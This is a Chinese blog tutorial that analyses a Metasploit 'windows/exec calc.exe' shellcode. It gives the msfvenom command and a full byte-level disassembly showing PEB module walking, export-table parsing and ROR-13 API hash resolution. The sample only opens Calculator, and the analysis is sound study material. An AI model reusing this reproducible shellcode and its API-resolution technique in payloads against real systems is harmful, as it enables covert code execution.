最近分析漏洞用到msf生成的样本进行测试,其中用到payload选项为Windows/exec cmd="calc.exe"
的这个payload,本着一定要知道利用代码是怎么运行的想法,开始对该shellcode的详细分析。
实验环境
- 虚拟机:Kali Linux 2022.1 x64
- 物理机:Windows 10 21H2 家庭版
- 软件:x86dbg,scdbg,windbg,010 Editor
生成shellcode
使用Kali Linux生成shellcode:
┌──(selph㉿kali)-[~/桌面/shellcode]
└─$ msfvenom -p windows/exec cmd=calc.exe -f raw -o shellcode.bin
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 193 bytes
Saved as: shellcode.bin
前置知识补充
通过fs寄存器获取模块信息
使用windbg可以很方便查看用到的这些结构
fs寄存器指向线程的TEB结构:
0:000> dt _TEB
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : Ptr32 Void
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : Ptr32 Void
+0x02c ThreadLocalStoragePointer : Ptr32 Void
+0x030 ProcessEnvironmentBlock : Ptr32 _PEB
TEB[0x30]指向当前的PEB结构:
0:000> dt _peb
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 BitField : UChar
+0x003 ImageUsesLargePages : Pos 0, 1 Bit
+0x003 IsProtectedProcess : Pos 1, 1 Bit
+0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
+0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
+0x003 IsPackagedProcess : Pos 4, 1 Bit
+0x003 IsAppContainer : Pos 5, 1 Bit
+0x003 IsProtectedProcessLight : Pos 6, 1 Bit
+0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
+0x00c Ldr : Ptr32 _PEB_LDR_DATA
+0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
PEB[0xC]指向_PEB_LDR_DATA结构,这里保存了模块相关的信息:
0:000> dt _PEB_LDR_DATA
ntdll!_PEB_LDR_DATA
+0x000 Length : Uint4B
+0x004 Initialized : UChar
+0x008 SsHandle : Ptr32 Void
+0x00c InLoadOrderModuleList : _LIST_ENTRY
+0x014 InMemoryOrderModuleList : _LIST_ENTRY
+0x01c InInitializationOrderModuleList : _LIST_ENTRY
+0x024 EntryInProgress : Ptr32 Void
+0x028 ShutdownInProgress : UChar
+0x02c ShutdownThreadId : Ptr32 Void
这里的三个_LIST_ENTRY双向链表结构都是连接本进程内所有模块的_LDR_DATA_TABLE_ENTRY结构,这里有更详细的模块信息:
例如0x18偏移处的模块基址,0x2c偏移处的模块名称等…
0:000> dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x008 InMemoryOrderLinks : _LIST_ENTRY
+0x010 InInitializationOrderLinks : _LIST_ENTRY
+0x018 DllBase : Ptr32 Void
+0x01c EntryPoint : Ptr32 Void
+0x020 SizeOfImage : Uint4B
+0x024 FullDllName : _UNICODE_STRING
+0x02c BaseDllName : _UNICODE_STRING
+0x034 FlagGroup : [4] UChar
+0x034 Flags : Uint4B
+0x034 PackagedBinary : Pos 0, 1 Bit
+0x034 MarkedForRemoval : Pos 1, 1 Bit
+0x034 ImageDll : Pos 2, 1 Bit
+0x034 LoadNotificationsSent : Pos 3, 1 Bit
+0x034 TelemetryEntryProcessed : Pos 4, 1 Bit
+0x034 ProcessStaticImport : Pos 5, 1 Bit
+0x034 InLegacyLists : Pos 6, 1 Bit
+0x034 InIndexes : Pos 7, 1 Bit
+0x034 ShimDll : Pos 8, 1 Bit
+0x034 InExceptionTable : Pos 9, 1 Bit
+0x034 ReservedFlags1 : Pos 10, 2 Bits
+0x034 LoadInProgress : Pos 12, 1 Bit
+0x034 LoadConfigProcessed : Pos 13, 1 Bit
+0x034 EntryProcessed : Pos 14, 1 Bit
+0x034 ProtectDelayLoad : Pos 15, 1 Bit
+0x034 ReservedFlags3 : Pos 16, 2 Bits
+0x034 DontCallForThreads : Pos 18, 1 Bit
+0x034 ProcessAttachCalled : Pos 19, 1 Bit
+0x034 ProcessAttachFailed : Pos 20, 1 Bit
+0x034 CorDeferredValidate : Pos 21, 1 Bit
+0x034 CorImage : Pos 22, 1 Bit
+0x034 DontRelocate : Pos 23, 1 Bit
+0x034 CorILOnly : Pos 24, 1 Bit
+0x034 ChpeImage : Pos 25, 1 Bit
+0x034 ReservedFlags5 : Pos 26, 2 Bits
+0x034 Redirected : Pos 28, 1 Bit
+0x034 ReservedFlags6 : Pos 29, 2 Bits
+0x034 CompatDatabaseProcessed : Pos 31, 1 Bit
+0x038 ObsoleteLoadCount : Uint2B
+0x03a TlsIndex : Uint2B
+0x03c HashLinks : _LIST_ENTRY
+0x044 TimeDateStamp : Uint4B
+0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT
+0x04c Lock : Ptr32 Void
+0x050 DdagNode : Ptr32 _LDR_DDAG_NODE
+0x054 NodeModuleLink : _LIST_ENTRY
+0x05c LoadContext : Ptr32 _LDRP_LOAD_CONTEXT
+0x060 ParentDllBase : Ptr32 Void
+0x064 SwitchBackContext : Ptr32 Void
+0x068 BaseAddressIndexNode : _RTL_BALANCED_NODE
+0x074 MappingInfoIndexNode : _RTL_BALANCED_NODE
+0x080 OriginalBase : Uint4B
+0x088 LoadTime : _LARGE_INTEGER
+0x090 BaseNameHashValue : Uint4B
+0x094 LoadReason : _LDR_DLL_LOAD_REASON
+0x098 ImplicitPathOptions : Uint4B
+0x09c ReferenceCount : Uint4B
+0x0a0 DependentLoadFlags : Uint4B
+0x0a4 SigningLevel : UChar
手动解析PE文件拿到导出表
关于PE文件解析,可以使用010 Editor的exe.bt模板来辅助解析
使用010 Editor随便打开一个DLL(一般都有导出表),界面如下:
这里通过下面模板的表格去找对应的偏移即可辅助理解分析中用到的结构,跟着shellcode的反汇编中给出的偏移去找结构,本文中足够用了
具体操作这里就不再介绍,有需要深入了解可自行学习
分析shellcode
准备工作
把生成的shellcode传到物理机,使用010editor打开:
复制,二进制,打开x86dbg(用随便一个测试进程),选中一片空白区域,二进制编辑:
把刚刚复制的shellcode黏贴进去,然后确定,修改eip为我们复制shellcode的首地址:
接下来就可以用x86dbg开始调试分析了(使用x86dbg方便查看每个指令运行的结果,故这里没使用IDA)
接下来收集一下shellcode调用API的信息,使用scdbg进行扫描:
这里调用了三个函数:WinExec(“calc.exe”),GetVersion(),ExitProcess(0)
可以通过参考资料[2]去查询API Hash Table
开始分析
首先shellcode设置了DF标志位,然后跳转进函数BE2F6E
00BE2EE5 | 90 | nop |
00BE2EE6 | FC | cld |
00BE2EE7 | E8 82000000 | call testmfc x86.BE2F6E | 通过call 将当前下一条指令的地址放到栈里
接下来进入函数:
00BE2F6E | 5D | pop ebp | 获取shellcode指令地址
00BE2F6F | 6A 01 | push 1 |
00BE2F71 | 8D85 B2000000 | lea eax,dword ptr ss:[ebp+B2] | 获取字符串“calc.exe”的地址(偏移指向shellcode末尾)
00BE2F77 | 50 | push eax | push "calc.exe"
00BE2F78 | 68 318B6F87 | push 876F8B31 | Hash WinExec
00BE2F7D | FFD5 | call ebp | 保存当前下一行地址,跳转回去
这里通过call+pop ebp的方式获取了shellcode本身的地址,通过硬编码偏移获得shellcode末尾的字符串“calc.exe”,然后入栈3个参数call ebp(ebp的值是刚刚call进来的call指令的下一行)
shellcode使用call+pop可以实现shellcode地址的定位功能
00BE2EEC | 60 | pushad | 保存寄存器环境
00BE2EED | 89E5 | mov ebp,esp | 保存栈顶
00BE2EEF | 31C0 | xor eax,eax | 清空eax
00BE2EF1 | 64:8B50 30 | mov edx,dword ptr fs:[eax+30] | 读取fs寄存器偏移0x30处:PEB的地址
00BE2EF5 | 8B52 0C | mov edx,dword ptr ds:[edx+C] | [PEB + 0xC] = PEB_LDR_DATA Addr
00BE2EF8 | 8B52 14 | mov edx,dword ptr ds:[edx+14] | [PEB_LDR_DATA + 0x14] = InMemoryOrderModuleList flink
00BE2EFB | 8B72 28 | mov esi,dword ptr ds:[edx+28] | _LDR_DATA_TABLE_ENTRY[0x4 + 0x28] = BaseDllName,当前模块名称
00BE2EFE | 0FB74A 26 | movzx ecx,word ptr ds:[edx+26] |
00BE2F02 | 31FF | xor edi,edi | 清空edi
00BE2F04 | AC | lodsb | esi的值给到ax,对当前模块名计算hash
00BE2F05 | 3C 61 | cmp al,61 | 和a做比较,判断是否是小写
00BE2F07 | 7C 02 | jl testmfc x86.BE2F0B | 大写字母跳转
00BE2F09 | 2C 20 | sub al,20 | al - 0x20 小写变大写
00BE2F0B | C1CF 0D | ror edi,D | edi 循环右移0xd
00BE2F0E | 01C7 | add edi,eax | edi += ax
00BE2F10 | E2 F2 | loop testmfc x86.BE2F04 | 循环
00BE2F12 | 52 | push edx | 保存_LDR_DATA_TABLE_ENTRY地址
00BE2F13 | 57 | push edi | 保存当前模块名Hash
00BE2F14 | 8B52 10 | mov edx,dword ptr ds:[edx+10] | 读取地址_LDR_DATA_TABLE_ENTRY的InInitializationOrderLinks往后偏移0x10的位置DllBase,模块首地址
00BE2F17 | 8B4A 3C | mov ecx,dword ptr ds:[edx+3C] | 读取DOS头的扩展头偏移
00BE2F1A | 8B4C11 78 | mov ecx,dword ptr ds:[ecx+edx+78] | 获取扩展头中数据目录表的导出表的偏移
00BE2F1E | E3 48 | jecxz testmfc x86.BE2F68 | ecx为0则跳转,说明没有导出表
首先保存寄存器环境,通过fs寄存器获得PEB地址,从PEB中找到_LDR_DATA_TABLE_ENTRY结构,找到模块基址用于遍历导出表中的函数名称,寻找函数要用
这里最后判断ecx是否为0,ecx为0意味着没有导出表,如果没有导出表则跳转:
00BE2F68 | 5F | pop edi | 还原保存的edi 当前模块名Hash
00BE2F69 | 5A | pop edx | 还原保存的_LDR_DATA_TABLE_ENTRY中的链表节点地址
00BE2F6A | 8B12 | mov edx,dword ptr ds:[edx] | 读取下一个节点
00BE2F6C | EB 8D | jmp testmfc x86.BE2EFB |
还原搜索导出表之前的环境,然后通过链表读取下一个节点,再次跳转回去搜索下一个节点保存的模块是否有我们需要的函数
如果模块有导出表则不进行跳转,继续执行:
00BE2F20 | 01D1 | add ecx,edx | 导出表偏移+模块基地址 = 导出表位置
00BE2F22 | 51 | push ecx | 保存导出表位置
00BE2F23 | 8B59 20 | mov ebx,dword ptr ds:[ecx+20] | 找到导出名称表地址偏移
00BE2F26 | 01D3 | add ebx,edx | ebx = 找到导出名称表地址
00BE2F28 | 8B49 18 | mov ecx,dword ptr ds:[ecx+18] | 获取导出名称数量
00BE2F2B | E3 3A | jecxz testmfc x86.BE2F67 | 如果数量为0则跳转(无名称导出函数或者遍历完整个导出表没找到要找的函数)
存在导出表则计算导出表在模块中的位置,然后解析导出表信息:导出名称表,导出名称数量,如果导出名称数量为0,则表示这里肯定没有我们要调用的函数名称导出的函数,则跳转:
00BE2F67 | 5F | pop edi | edi:_wWinMainCRTStartup
00BE2F68 | 5F | pop edi | 还原保存的edi 当前模块名Hash
00BE2F69 | 5A | pop edx | 还原保存的_LDR_DATA_TABLE_ENTRY中的链表节点地址
00BE2F6A | 8B12 | mov edx,dword ptr ds:[edx] | 读取下一个节点
00BE2F6C | EB 8D | jmp testmfc x86.BE2EFB |
还原搜索导出表之前的环境,然后通过链表读取下一个节点,再次跳转回去搜索下一个节点保存的模块。
如果导出名称数量不为0则继续执行:
00BE2F2D | 49 | dec ecx | ecx作为循环计数,遍历整个导出名称表
00BE2F2E | 8B348B | mov esi,dword ptr ds:[ebx+ecx*4] | 读取一个函数名称偏移
00BE2F31 | 01D6 | add esi,edx | 读取函数名称地址
00BE2F33 | 31FF | xor edi,edi | 清空edi
00BE2F35 | AC | lodsb | 取一个字符出来,指向下一个字符,计算函数名Hash
00BE2F36 | C1CF 0D | ror edi,D | edi 循环右移0xD
00BE2F39 | 01C7 | add edi,eax | edi += eax
00BE2F3B | 38E0 | cmp al,ah | 对比 al和ah
00BE2F3D | 75 F6 | jne testmfc x86.BE2F35 | 不相等则跳转,意思是遍历整个函数名,到名称末尾\00时停止循环
00BE2F3F | 037D F8 | add edi,dword ptr ss:[ebp-8] | edi += [ebp-8],给计算出来的函数名Hash加一个数字
00BE2F42 | 3B7D 24 | cmp edi,dword ptr ss:[ebp+24] | 判断是否等于保存的Hash
00BE2F45 | 75 E4 | jne testmfc x86.BE2F2B | 不相等就跳转
00BE2F47 | 58 | pop eax | 导出表的位置
00BE2F48 | 8B58 24 | mov ebx,dword ptr ds:[eax+24] | 找到导出序号表偏移
00BE2F4B | 01D3 | add ebx,edx | ebx = 导出序号表偏移 + 模块基址 = 导出序号表地址
00BE2F4D | 66:8B0C4B | mov cx,word ptr ds:[ebx+ecx*2] | ecx是导出序号偏移,这里是计算导出序号表的索引
00BE2F51 | 8B58 1C | mov ebx,dword ptr ds:[eax+1C] | 导出地址表偏移
00BE2F54 | 01D3 | add ebx,edx | 导出地址表地址
00BE2F56 | 8B048B | mov eax,dword ptr ds:[ebx+ecx*4] | 按照导出序号获取导出函数地址偏移
00BE2F59 | 01D0 | add eax,edx | 拿到导出函数地址
00BE2F5B | 894424 24 | mov dword ptr ss:[esp+24],eax | 保存导出函数到栈里
00BE2F5F | 5B | pop ebx | 堆栈平衡,把之前push的都pop
00BE2F60 | 5B | pop ebx |
00BE2F61 | 61 | popad |
00BE2F62 | 59 | pop ecx |
00BE2F63 | 5A | pop edx |
00BE2F64 | 51 | push ecx | 构造返回地址,返回到刚刚入栈Hash的地方的下一行,去找下一个函数来执行
00BE2F65 | FFE0 | jmp eax | 执行函数
这里ecx是导出名称数量,同时也作为索引去搜索导出名称表中的函数名称,对每一个找到的导出名称进行Hash计算,然后与栈中保存的我们要找的函数的Hash进行比对,如果找不到,则找下一个函数,如果函数找完了,则找下一个模块
如果找到了,则pop导出表地址给eax,再次解析导出表信息:导出序号表,导出地址表,从导出名称表中获得的索引去获取导出序号表中对应的序号,通过找到的导出序号去导出地址表找到对应的导出函数地址,保存到eax里
拿到导出函数地址之后,堆栈平衡还原到搜索函数之前的位置,然后自己构造返回地址,通过push jmp来模拟call,push的返回地址是我们构造的刚刚push函数hash后面的call留下的地址
执行完函数会返回回去:
00BE2F7F | BB F0B5A256 | mov ebx,56A2B5F0 | Hash ExitProcess
00BE2F84 | 68 A695BD9D | push 9DBD95A6 | Hash GetVersion
00BE2F89 | FFD5 | call ebp | 跳转去找到函数并执行
00BE2F8B | 3C 06 | cmp al,6 | 看返回结果是否小于6
00BE2F8D | 7C 0A | jl testmfc x86.BE2F99 | 小于6则跳转
00BE2F8F | 80FB E0 | cmp bl,E0 | 判断bl结尾是不是E0
00BE2F92 | 75 05 | jne testmfc x86.BE2F99 | 不是则跳转,实际上是判断是退出线程还是退出进程
00BE2F94 | BB 4713726F | mov ebx,6F721347 | Hash RtlExitUserThread
00BE2F99 | 6A 00 | push 0 | 参数:0
00BE2F9B | 53 | push ebx | Hash ExitProcess
00BE2F9C | FFD5 | call ebp | 调用 ExitProcess(0)
00BE2F9E | 6361 6C | arpl word ptr ds:[ecx+6C],sp | 字符串“calc.exe”
00BE2FA1 | 632E | arpl word ptr ds:[esi],bp | esi:_wWinMainCRTStartup
00BE2FA3 | 65:78 65 | js testmfc x86.BE300B |
然后接下来走同样的途径,去依次调用接下来要调用的函数:GetVersion,ExitProcess
这里shellcode最后这个call ebp之后的内容,不是指令,是我们调用函数的字符串参数“calc.exe”
到这里shellcode整个工作流程就是这些了,本例中,执行结果就是弹出计算器
执行流程总结
Shellcode执行流程总结:
- 入栈函数的参数和函数名的Hash,跳转到函数进行搜索:
- 通过
_TEB找到_PEB
- 通过
_PEB
找到_PEB_LDR_DATA
- 通过
_PEB_LDR_DATA
找到当前的_LDR_DATA_TABLE_ENTRY
,载入进程的模块信息双向链表 - 获取模块基址
- 手工解析PE文件,找到导出表,若无则跳转至第8步
- 解析导出表,找到导出名称表和导出名称数量,若数量为0,则跳转至第8步
- 根据导出名称表遍历每一个导出名称计算Hash,比对Hash与我们保存的Hash是否相同
- 若找不到该函数,则通过链表找到下一个模块信息,跳转至第4步进行循环
- 若找到目标函数,则调用该函数,然后返回出来
- 通过
- 入栈下一个函数及其所需要的参数,然后再走一遍上面的流程去调用执行,直到完成shellcode所有要执行的函数
完整反汇编分析注释
00BE2EE6 | FC | cld |
00BE2EE7 | E8 82000000 | call testmfc x86.BE2F6E | 通过call 将当前下一条指令的地址放到栈里
00BE2EEC | 60 | pushad | 保存寄存器环境
00BE2EED | 89E5 | mov ebp,esp | 保存栈顶
00BE2EEF | 31C0 | xor eax,eax | 清空eax
00BE2EF1 | 64:8B50 30 | mov edx,dword ptr fs:[eax+30] | 读取fs寄存器偏移0x30处:PEB的地址
00BE2EF5 | 8B52 0C | mov edx,dword ptr ds:[edx+C] | [PEB + 0xC] = PEB_LDR_DATA Addr
00BE2EF8 | 8B52 14 | mov edx,dword ptr ds:[edx+14] | [PEB_LDR_DATA + 0x14] = InMemoryOrderModuleList flink
00BE2EFB | 8B72 28 | mov esi,dword ptr ds:[edx+28] | _LDR_DATA_TABLE_ENTRY[0x4 + 0x28] = BaseDllName,当前模块名称
00BE2EFE | 0FB74A 26 | movzx ecx,word ptr ds:[edx+26] |
00BE2F02 | 31FF | xor edi,edi | 清空edi
00BE2F04 | AC | lodsb | esi的值给到ax,对当前模块名计算hash
00BE2F05 | 3C 61 | cmp al,61 | 和a做比较,判断是否是小写
00BE2F07 | 7C 02 | jl testmfc x86.BE2F0B | 大写字母跳转
00BE2F09 | 2C 20 | sub al,20 | al - 0x20 小写变大写
00BE2F0B | C1CF 0D | ror edi,D | edi 循环右移0xd
00BE2F0E | 01C7 | add edi,eax | edi += ax
00BE2F10 | E2 F2 | loop testmfc x86.BE2F04 | 循环
00BE2F12 | 52 | push edx | 保存_LDR_DATA_TABLE_ENTRY地址
00BE2F13 | 57 | push edi | 保存当前模块名Hash
00BE2F14 | 8B52 10 | mov edx,dword ptr ds:[edx+10] | 读取地址_LDR_DATA_TABLE_ENTRY的InInitializationOrderLinks往后偏移0x10的位置DllBase,模块首地址
00BE2F17 | 8B4A 3C | mov ecx,dword ptr ds:[edx+3C] | 读取DOS头的扩展头偏移
00BE2F1A | 8B4C11 78 | mov ecx,dword ptr ds:[ecx+edx+78] | 获取扩展头中数据目录表的导出表的偏移
00BE2F1E | E3 48 | jecxz testmfc x86.BE2F68 | ecx为0则跳转,说明没有导出表
00BE2F20 | 01D1 | add ecx,edx | 导出表偏移+模块基地址 = 导出表位置
00BE2F22 | 51 | push ecx | 保存导出表位置
00BE2F23 | 8B59 20 | mov ebx,dword ptr ds:[ecx+20] | 找到导出名称表地址偏移
00BE2F26 | 01D3 | add ebx,edx | ebx = 找到导出名称表地址
00BE2F28 | 8B49 18 | mov ecx,dword ptr ds:[ecx+18] | 获取导出名称数量
00BE2F2B | E3 3A | jecxz testmfc x86.BE2F67 | 如果数量为0则跳转(无名称导出函数或者遍历完整个导出表没找到要找的函数)
00BE2F2D | 49 | dec ecx | ecx作为循环计数,遍历整个导出名称表
00BE2F2E | 8B348B | mov esi,dword ptr ds:[ebx+ecx*4] | 读取一个函数名称偏移
00BE2F31 | 01D6 | add esi,edx | 读取函数名称地址
00BE2F33 | 31FF | xor edi,edi | 清空edi
00BE2F35 | AC | lodsb | 取一个字符出来,指向下一个字符,计算函数名Hash
00BE2F36 | C1CF 0D | ror edi,D | edi 循环右移0xD
00BE2F39 | 01C7 | add edi,eax | edi += eax
00BE2F3B | 38E0 | cmp al,ah | 对比 al和ah
00BE2F3D | 75 F6 | jne testmfc x86.BE2F35 | 不相等则跳转,意思是遍历整个函数名,到名称末尾\00时停止循环
00BE2F3F | 037D F8 | add edi,dword ptr ss:[ebp-8] | edi += [ebp-8],给计算出来的函数名Hash加一个数字
00BE2F42 | 3B7D 24 | cmp edi,dword ptr ss:[ebp+24] | 判断是否等于保存的Hash
00BE2F45 | 75 E4 | jne testmfc x86.BE2F2B | 不相等就跳转
00BE2F47 | 58 | pop eax | 导出表的位置
00BE2F48 | 8B58 24 | mov ebx,dword ptr ds:[eax+24] | 找到导出序号表偏移
00BE2F4B | 01D3 | add ebx,edx | ebx = 导出序号表偏移 + 模块基址 = 导出序号表地址
00BE2F4D | 66:8B0C4B | mov cx,word ptr ds:[ebx+ecx*2] | ecx是导出序号偏移,这里是计算导出序号表的索引
00BE2F51 | 8B58 1C | mov ebx,dword ptr ds:[eax+1C] | 导出地址表偏移
00BE2F54 | 01D3 | add ebx,edx | 导出地址表地址
00BE2F56 | 8B048B | mov eax,dword ptr ds:[ebx+ecx*4] | 按照导出序号获取导出函数地址偏移
00BE2F59 | 01D0 | add eax,edx | 拿到导出函数地址
00BE2F5B | 894424 24 | mov dword ptr ss:[esp+24],eax | 保存导出函数到栈里
00BE2F5F | 5B | pop ebx | 堆栈平衡,把之前push的都pop
00BE2F60 | 5B | pop ebx |
00BE2F61 | 61 | popad |
00BE2F62 | 59 | pop ecx |
00BE2F63 | 5A | pop edx |
00BE2F64 | 51 | push ecx | 构造返回地址,返回到刚刚入栈Hash的地方的下一行,去找下一个函数来执行
00BE2F65 | FFE0 | jmp eax | 执行函数
00BE2F67 | 5F | pop edi | edi:_wWinMainCRTStartup
00BE2F68 | 5F | pop edi | 还原保存的edi 当前模块名Hash
00BE2F69 | 5A | pop edx | 还原保存的_LDR_DATA_TABLE_ENTRY中的链表节点地址
00BE2F6A | 8B12 | mov edx,dword ptr ds:[edx] | 读取下一个节点
00BE2F6C | EB 8D | jmp testmfc x86.BE2EFB |
00BE2F6E | 5D | pop ebp | 获取shellcode指令地址
00BE2F6F | 6A 01 | push 1 |
00BE2F71 | 8D85 B2000000 | lea eax,dword ptr ss:[ebp+B2] | 获取字符串“calc.exe”的地址(偏移指向shellcode末尾)
00BE2F77 | 50 | push eax | push "calc.exe"
00BE2F78 | 68 318B6F87 | push 876F8B31 | Hash WinExec
00BE2F7D | FFD5 | call ebp | 保存当前下一行地址,跳转回去
00BE2F7F | BB F0B5A256 | mov ebx,56A2B5F0 | Hash ExitProcess
00BE2F84 | 68 A695BD9D | push 9DBD95A6 | Hash GetVersion
00BE2F89 | FFD5 | call ebp | 跳转去找到函数并执行
00BE2F8B | 3C 06 | cmp al,6 | 看返回结果是否小于6
00BE2F8D | 7C 0A | jl testmfc x86.BE2F99 | 小于6则跳转
00BE2F8F | 80FB E0 | cmp bl,E0 | 判断bl结尾是不是E0
00BE2F92 | 75 05 | jne testmfc x86.BE2F99 | 不是则跳转,实际上是判断是退出线程还是退出进程
00BE2F94 | BB 4713726F | mov ebx,6F721347 | Hash RtlExitUserThread
00BE2F99 | 6A 00 | push 0 | 参数:0
00BE2F9B | 53 | push ebx | Hash ExitProcess
00BE2F9C | FFD5 | call ebp | 调用 ExitProcess(0)
00BE2F9E | 6361 6C | arpl word ptr ds:[ecx+6C],sp | 字符串“calc.exe”
00BE2FA1 | 632E | arpl word ptr ds:[esi],bp | esi:_wWinMainCRTStartup
00BE2FA3 | 65:78 65 | js testmfc x86.BE300B |
完整反汇编分析注释截图版
总结
该shellcode的主要流程其实是下面那一小段,入栈函数参数和函数Hash,然后调用函数去搜索函数地址并调用,然后再用相同的方式调用下一个函数,直到完成shellcode执行的功能,通过对本例的分析,可以很清晰明了地了解shellcode是如何获取函数地址的,以及如何调用的,也算是一次不错的反汇编练习
最后,感谢大家的浏览,如有问题欢迎师傅们指出、探讨与交流~
参考资料
- [1] RE Corner - scdbg download (sandsprite.com)
- [2] https://raw.githubusercontent.com/avast/ioc/master/CobaltStrike/api_hashes/win10_api_hashes.txt
- [3] 走进shellcode - 安全客,安全资讯平台 (anquanke.com)
- [4] LODS/LODSB/LODSW/LODSD/LODSQ — Load String (felixcloutier.com)
- [5] 汇编跳转指令: JMP、JECXZ、JA、JB、JG、JL、JE、JZ、JS、JC、JO、JP 等_zmmycsdn的博客-CSDN博客_汇编jb